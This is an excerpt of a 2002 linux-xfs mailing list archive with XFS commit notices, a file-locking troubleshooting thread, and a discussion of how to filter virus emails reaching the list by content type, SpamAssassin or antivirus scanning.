owner-linux-xfs@oss.sgi.com Wed Aug 28 12:43:15 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 12:43:18 -0700 (PDT) Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SJhEtG028396 for ; Wed, 28 Aug 2002 12:43:15 -0700 Received: from erbenson.alaska.net (216-pm16.nwc.alaska.net [209.112.141.216]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id g7SJkkBs093886 for ; Wed, 28 Aug 2002 11:46:47 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id CC4453A0C for ; Wed, 28 Aug 2002 11:46:45 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id CAD8F10294; Wed, 28 Aug 2002 11:46:45 -0800 (AKDT) Date: Wed, 28 Aug 2002 11:46:45 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: [OT: virus] Re: SELECTED Message-ID: <20020828114645.D17654@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <200208281053.MAA18676@ady.hdsnet.hu> <3D6D04B1.5050508@attbi.com> Mime-Version: 1.0 Content-type: text/plain Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3D6D04B1.5050508@attbi.com>; from stimits@attbi.com on Wed, Aug 28, 2002 at 11:13:21AM -0600 X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. Content-Transfer-Encoding: 8bit X-archive-position: 117 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs On Wed, Aug 28, 2002 at 11:13:21AM -0600, D. Stimits wrote: > > Yet another shining example of a filter line that could be added. This > list would never receive a valid message with "Content-Type: > audio/x-midi". Filtering this and type application/octet-stream would > decimate many of the windows virii. I am curious what kind of current > ability the list has for rejecting based on content type or header > information? it wouldn't work, the content headers on that message was text/plain, the content type your seeing is just embedded in the html crap which is presumably parsed by MS Outhouse. spamassassin would probably have worked though. > kosiki wrote: > > --Q8714e2L66enF661u68kOrxZ6 > > Content-Type: text/html; > > Content-Transfer-Encoding: quoted-printable > > > > > > > > > > > > --Q8714e2L66enF661u68kOrxZ6 > > Content-Type: audio/x-midi; > > name=Clears.pif > > Content-Transfer-Encoding: base64 > > Content-ID: > > -- Ethan Benson http://www.alaska.net/~erbenson/ -- Attached file included as plaintext by Ecartis -- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1tKKUACgkQJKx7GixEevyt1ACdGfjdOMHwayyTY0NaCj6iNPGU hBkAn33saTLUye+Zej+bwMvO61YxZjUD =PHX7 -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Wed Aug 28 12:49:27 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 12:49:31 -0700 (PDT) Received: from mail.ima.pl (dns.ima.pl [195.117.13.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SJnPtG029626 for ; Wed, 28 Aug 2002 12:49:26 -0700 Received: from ima.pl (helios.globalintech.pl [62.89.81.98]) by mail.ima.pl with ESMTPid g7SJqku01436; Wed, 28 Aug 2002 21:52:46 +0200 Message-ID: <3D6D2A0C.3040802@ima.pl> Date: Wed, 28 Aug 2002 21:52:44 +0200 From: "Blizbor (IMA)" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: stimits@attbi.com CC: linux-xfs@oss.sgi.com Subject: Re: [OT: virus] Re: SELECTED References: <200208281053.MAA18676@ady.hdsnet.hu> <3D6D04B1.5050508@attbi.com> Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 118 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tb670725@ima.pl Precedence: bulk X-list: linux-xfs IMVHO: most of that could be avoided using procmail sanitizer. It can do enough sanity checks to remove most of existing mail viruses. All I can do to help - I can setup mail routing on my mail servers so each incoming message will be routed back to linux-xfs list server after virus checking using professional antyvirus software. If somebody who is responsible for this list is interrested, please contact me. Regards, Blizbor D. Stimits wrote: > Yet another shining example of a filter line that could be added. This > list would never receive a valid message with "Content-Type: > audio/x-midi". Filtering this and type application/octet-stream would > decimate many of the windows virii. I am curious what kind of current > ability the list has for rejecting based on content type or header > information? > > kosiki wrote: > >>--Q8714e2L66enF661u68kOrxZ6 >>Content-Type: text/html; >>Content-Transfer-Encoding: quoted-printable >> >> >> >> >> >>--Q8714e2L66enF661u68kOrxZ6 >>Content-Type: audio/x-midi; >> name=Clears.pif >>Content-Transfer-Encoding: base64 >>Content-ID: > > > From owner-linux-xfs@oss.sgi.com Wed Aug 28 12:56:11 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 12:56:17 -0700 (PDT) Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SJuAtG030450 for ; Wed, 28 Aug 2002 12:56:11 -0700 Received: from erbenson.alaska.net (216-pm16.nwc.alaska.net [209.112.141.216]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id g7SJxhBs010760 for ; Wed, 28 Aug 2002 11:59:43 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id C1ECE3A0C for ; Wed, 28 Aug 2002 11:59:41 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id B94C610294; Wed, 28 Aug 2002 11:59:41 -0800 (AKDT) Date: Wed, 28 Aug 2002 11:59:41 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: [OT: virus] Re: SELECTED Message-ID: <20020828115941.E17654@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <200208281053.MAA18676@ady.hdsnet.hu> <3D6D04B1.5050508@attbi.com> <3D6D2A0C.3040802@ima.pl> Mime-Version: 1.0 Content-type: text/plain Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3D6D2A0C.3040802@ima.pl>; from tb670725@ima.pl on Wed, Aug 28, 2002 at 09:52:44PM +0200 X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. Content-Transfer-Encoding: 8bit X-archive-position: 119 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs On Wed, Aug 28, 2002 at 09:52:44PM +0200, Blizbor (IMA) wrote: > > IMVHO: most of that could be avoided using procmail sanitizer. > It can do enough sanity checks to remove most of existing > mail viruses. > > All I can do to help - I can setup mail routing on my mail servers > so each incoming message will be routed back to linux-xfs list > server after virus checking using professional antyvirus software. > If somebody who is responsible for this list is interrested, please > contact me. before the cease of use of spamassassin on this list almost none of these ever made it, clearly that solution worked fine, it just needs to be reenstated. i would also prefer not having the list spammed with `that message is a virus!!! update windows with our proprietary virus scanner today!' messages in place of the virus itself. (that seems to be what those things always do). -- Ethan Benson http://www.alaska.net/~erbenson/ -- Attached file included as plaintext by Ecartis -- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1tK60ACgkQJKx7GixEevzLXQCfdiUAHwbxk/3G0zZjhgFn5kcJ AfYAnjr/Pg76poDqB6dqQwH5QaNU5YYK =irhE -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Wed Aug 28 13:15:30 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 13:15:35 -0700 (PDT) Received: from mail.ima.pl (dns.ima.pl [195.117.13.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SKFStG031291 for ; Wed, 28 Aug 2002 13:15:29 -0700 Received: from ima.pl (helios.globalintech.pl [62.89.81.98]) by mail.ima.pl with ESMTPid g7SKItu01938; Wed, 28 Aug 2002 22:18:55 +0200 Message-ID: <3D6D302D.6040308@ima.pl> Date: Wed, 28 Aug 2002 22:18:53 +0200 From: "Blizbor (IMA)" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ethan Benson CC: linux-xfs@oss.sgi.com Subject: Re: [OT: virus] Re: SELECTED References: <200208281053.MAA18676@ady.hdsnet.hu> <3D6D04B1.5050508@attbi.com> <3D6D2A0C.3040802@ima.pl> <20020828115941.E17654@plato.local.lan> Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 120 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tb670725@ima.pl Precedence: bulk X-list: linux-xfs Ethan, From my point of view - it can be any tool which will efectively remove infected messages. Let it be spamassasin. I dont want to start another "holy war". Ethan Benson wrote: > before the cease of use of spamassassin on this list almost none of > these ever made it, clearly that solution worked fine, it just needs > to be reenstated. i would also prefer not having the list spammed > with `that message is a virus!!! update windows with our proprietary > virus scanner today!' messages in place of the virus itself. (that > seems to be what those things always do). It seems, but is not. That things are almost always configured such a way for users convenience. However antivirus scaner could be configured to do his work silently. I dont think so here is a place to discuss that any longer. Regards, Blizbor From owner-linux-xfs@oss.sgi.com Wed Aug 28 13:20:14 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 13:20:16 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SKKDtG031826 for ; Wed, 28 Aug 2002 13:20:14 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id PAA38961 for ; Wed, 28 Aug 2002 15:23:42 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id PAA93613 for ; Wed, 28 Aug 2002 15:23:41 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7SKNTL19453; Wed, 28 Aug 2002 15:23:29 -0500 Message-Id: <200208282023.g7SKNTL19453@jen.americas.sgi.com> Date: Wed, 28 Aug 2002 15:23:29 -0500 Subject: TAKE - remove more duplicate rename checks To: linux-xfs@oss.sgi.com X-archive-position: 121 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Another one from Christoph Date: Wed Aug 28 13:23:05 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-vanilla The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:126285a linux/fs/xfs/xfs_rename.c - 1.39 From owner-linux-xfs@oss.sgi.com Wed Aug 28 14:33:07 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 14:33:13 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SLX6tG000739 for ; Wed, 28 Aug 2002 14:33:07 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA38862 for ; Wed, 28 Aug 2002 16:36:35 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA97295 for ; Wed, 28 Aug 2002 16:36:35 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g7SLYYY29274; Wed, 28 Aug 2002 16:34:34 -0500 Message-Id: <200208282134.g7SLYYY29274@stout.americas.sgi.com> Date: Wed, 28 Aug 2002 16:34:34 -0500 Subject: TAKE - More stack fun X-archive-position: 122 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs this is for cmn_err() and icmn_err(), which each had a "char message[256];" plopped on the stack Date: Wed Aug 28 14:34:45 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:126295a linux/fs/xfs/support/debug.c - 1.8 - Get the big 256 byte error message buffer off the stack From owner-linux-xfs@oss.sgi.com Wed Aug 28 14:46:10 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 14:46:15 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SLk9tG001281 for ; Wed, 28 Aug 2002 14:46:10 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA39438 for ; Wed, 28 Aug 2002 16:49:38 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA01806 for ; Wed, 28 Aug 2002 16:49:38 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7SLnPj20517; Wed, 28 Aug 2002 16:49:25 -0500 Message-Id: <200208282149.g7SLnPj20517@jen.americas.sgi.com> Date: Wed, 28 Aug 2002 16:49:25 -0500 Subject: TAKE - fix highmem builds in 2.5 To: linux-xfs@oss.sgi.com X-archive-position: 123 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Date: Wed Aug 28 14:48:31 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-merge.2.5 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:126298a linux/fs/xfs/support/kmem.c - 1.23 - fix highmem build From owner-linux-xfs@oss.sgi.com Wed Aug 28 14:51:42 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 14:51:43 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SLpftG002117 for ; Wed, 28 Aug 2002 14:51:42 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA39475 for ; Wed, 28 Aug 2002 16:55:10 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA05014 for ; Wed, 28 Aug 2002 16:55:10 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g7SLr9P31070; Wed, 28 Aug 2002 16:53:09 -0500 Message-Id: <200208282153.g7SLr9P31070@stout.americas.sgi.com> Date: Wed, 28 Aug 2002 16:53:09 -0500 Subject: TAKE - move to vmap/vunmap interface in 2.4 X-archive-position: 124 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs From Christoph move to vmap/vunmap interface in 2.4 Date: Wed Aug 28 14:54:40 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:126300a linux/mm/vmalloc.c - 1.36 linux/kernel/ksyms.c - 1.134 linux/include/linux/vmalloc.h - 1.16 linux/fs/xfs/pagebuf/page_buf.c - 1.55 From owner-linux-xfs@oss.sgi.com Wed Aug 28 14:56:04 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 14:56:05 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SLu3tG002657 for ; Wed, 28 Aug 2002 14:56:03 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA38949 for ; Wed, 28 Aug 2002 16:59:32 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA65853 for ; Wed, 28 Aug 2002 16:59:32 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g7SLvVi31352; Wed, 28 Aug 2002 16:57:31 -0500 Message-Id: <200208282157.g7SLvVi31352@stout.americas.sgi.com> Date: Wed, 28 Aug 2002 16:57:31 -0500 Subject: TAKE - remove unused macros from page_buf.c X-archive-position: 125 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Another from christoph remove unused pagebuf macros Date: Wed Aug 28 14:59:06 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:126301a linux/fs/xfs/pagebuf/page_buf.c - 1.56 From owner-linux-xfs@oss.sgi.com Wed Aug 28 15:04:02 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 15:04:07 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SM42tG003206 for ; Wed, 28 Aug 2002 15:04:02 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id RAA39363 for ; Wed, 28 Aug 2002 17:07:30 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id RAA76745 for ; Wed, 28 Aug 2002 17:07:30 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g7SM5T831482; Wed, 28 Aug 2002 17:05:29 -0500 Message-Id: <200208282205.g7SM5T831482@stout.americas.sgi.com> Date: Wed, 28 Aug 2002 17:05:29 -0500 Subject: TAKE - Fix up mkfs for lvm volumes X-archive-position: 126 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs WHen we mkfs an lvm volume, we fork off an lvdisplay to get stripe info. However, lvdisplay requires a full path to the volume (grumble...) so build that up if we need it. Date: Wed Aug 28 15:03:44 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:126302a cmd/xfsprogs/VERSION - 1.54 - Bump version cmd/xfsprogs/doc/CHANGES - 1.78 - Document changes for LVM lvdisplay cmd/xfsprogs/libdisk/lvm.c - 1.8 - Call lvdisplay with the volume name's full path From owner-linux-xfs@oss.sgi.com Wed Aug 28 15:27:45 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 15:27:49 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SMRitG003843 for ; Wed, 28 Aug 2002 15:27:45 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id RAA39847 for ; Wed, 28 Aug 2002 17:31:13 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id RAA87995 for ; Wed, 28 Aug 2002 17:31:13 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7SMV0x21400; Wed, 28 Aug 2002 17:31:00 -0500 Message-Id: <200208282231.g7SMV0x21400@jen.americas.sgi.com> Date: Wed, 28 Aug 2002 17:31:00 -0500 Subject: TAKE - restrict space reservation calls to admins only To: linux-xfs@oss.sgi.com X-archive-position: 127 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs This closes a loophole in xfs. Date: Wed Aug 28 15:30:11 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:126306a linux/fs/xfs/linux/xfs_ioctl.c - 1.75 - make space reservation ioctl calls require CAP_SYS_ADMIN, or unwritten extent support. From owner-linux-xfs@oss.sgi.com Wed Aug 28 15:37:50 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 15:37:54 -0700 (PDT) Received: from itspec.amoa.org (amoa.org [207.207.51.226]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SMbotG004344 for ; Wed, 28 Aug 2002 15:37:50 -0700 Received: (from ctooley@localhost) by itspec.amoa.org (8.11.6/8.11.6) id g7SMfMN07995; Wed, 28 Aug 2002 17:41:22 -0500 X-Authentication-Warning: itspec.amoa.org: ctooley set sender to ctooley@amoa.org using -f Subject: Re: Locking problems From: Chris Tooley To: linux-xfs@oss.sgi.com In-Reply-To: <1030456601.16698.6.camel@jen.americas.sgi.com> References: <1030377163.28487.16.camel@itspec.amoa.org> <20020826190700.GB1894@thompsk.student.earlham.edu> <1030396680.32227.1.camel@itspec.amoa.org> <3D6B2C00.33549A97@ch.sauter-bc.com> <1030456397.454.2.camel@itspec.amoa.org> <1030456601.16698.6.camel@jen.americas.sgi.com> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 28 Aug 2002 17:41:22 -0500 Message-Id: <1030574482.7902.0.camel@itspec.amoa.org> Mime-Version: 1.0 X-archive-position: 128 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ctooley@amoa.org Precedence: bulk X-list: linux-xfs OK, it's running fine on ext2. What are the next steps to see if we can rid ourselves of the problem with XFS? I'd like to help with this, but don't know what we need to do to help. Chris On Tue, 2002-08-27 at 08:56, Steve Lord wrote: > > On Tue, 2002-08-27 at 08:53, Chris Tooley wrote: > > > > It's not a power cycle problem. I never power cycle the server and as > > it happens when the only method of launching the app is via a secure > > shell to the server, the processes are there. We don't have a problem > > with having to power cycle the computers. > > > > I doubt it is write caching, but where would I look to turn that off? > > > > At this point I've had to move the data, format as ext2 and move the > > data back. It's not been tested yet, though I expect the same results > > via ext2. > > Well if you do get the same result then it has got to be the > application. > > The cache questions were all based around assumptions about power being > lost, if the server never goes down, and the application is running on > the server, then you do not have to worry in that area. > > Steve > > > -- > > Steve Lord voice: +1-651-683-3511 > Principal Engineer, Filesystem Software email: lord@sgi.com > > From owner-linux-xfs@oss.sgi.com Wed Aug 28 15:46:46 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 15:46:49 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SMkjtG004832 for ; Wed, 28 Aug 2002 15:46:46 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id RAA39551; Wed, 28 Aug 2002 17:50:14 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id RAA80512; Wed, 28 Aug 2002 17:50:14 -0500 (CDT) Date: Wed, 28 Aug 2002 17:48:12 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Chris Tooley cc: linux-xfs@oss.sgi.com Subject: Re: Locking problems In-Reply-To: <1030574482.7902.0.camel@itspec.amoa.org> Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-archive-position: 129 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Chris - did you ever characterize the corruption you saw? -Eric On 28 Aug 2002, Chris Tooley wrote: > > OK, it's running fine on ext2. What are the next steps to see if we can > rid ourselves of the problem with XFS? I'd like to help with this, but > don't know what we need to do to help. From owner-linux-xfs@oss.sgi.com Wed Aug 28 15:51:44 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 15:51:49 -0700 (PDT) Received: from cicero1.cybercity.dk (cicero1.cybercity.dk [212.242.40.4]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SMphtG005342 for ; Wed, 28 Aug 2002 15:51:43 -0700 Received: from user4.cybercity.dk (fxp0.user4.ip.cybercity.dk [212.242.41.50]) by cicero1.cybercity.dk (Postfix) with ESMTP id 07D1215FDE6 for ; Thu, 29 Aug 2002 00:55:16 +0200 (CEST) Received: from tix.pir.eli (port6.cvx2-mal.ppp.netlink.se [62.66.13.7]) by user4.cybercity.dk (Postfix) with ESMTP id 7A44654AE for ; Thu, 29 Aug 2002 00:55:14 +0200 (CEST) Received: (from mdomo@localhost) by tix.pir.eli (8.9.3/8.8.7) id XAA07876 for linux-xfs@oss.sgi.com; Wed, 28 Aug 2002 23:26:12 +0200 Date: Wed, 28 Aug 2002 23:26:12 +0200 From: Daniel Mose To: linux-xfs@oss.sgi.com Subject: Re: virus Re: A very new website Message-ID: <20020828232612.A7699@extra.netlink.se> Mail-Followup-To: linux-xfs@oss.sgi.com References: <200208280511.g7S5Bf229380@smtp2.jaring.my> <3D6C6782.5080505@attbi.com> <20020828000325.C17654@plato.local.lan> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3us In-Reply-To: <20020828000325.C17654@plato.local.lan> Content-Transfer-Encoding: 8bit X-archive-position: 130 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mdomo@extra.netlink.se Precedence: bulk X-list: linux-xfs Ethan Benson wrote: > On Wed, Aug 28, 2002 at 12:02:42AM -0600, D. Stimits wrote: > > > > This KLEZ virus is going around all over the place. SGI isn't the only > > list that is sending these out, but the virus is so darn common now I > > have to wonder if improved filtering is needed on public lists. One type > > of message that should never be sent to XFS devel is > > "application/octet-stream"...if this one line could be used as a junk > > buster (virus buster), we'd get rid of a whole family of MS virii. > > these things are sent as general spams anyway so filtering off lists > won't make a dent. the only way to get rid of MS viruses is to get > rid of MS software. > -- > Ethan Benson > http://www.alaska.net/~erbenson/ > The XFS list is the only mailing list (or personal mbox) that I recieve "octet streams" from. Today it amounted to almost 1MB. Not all persons here are on ADSL. Please at least _try_ not to waste peoples bandwidth with crap. Regards /Daniel From owner-linux-xfs@oss.sgi.com Wed Aug 28 16:18:44 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 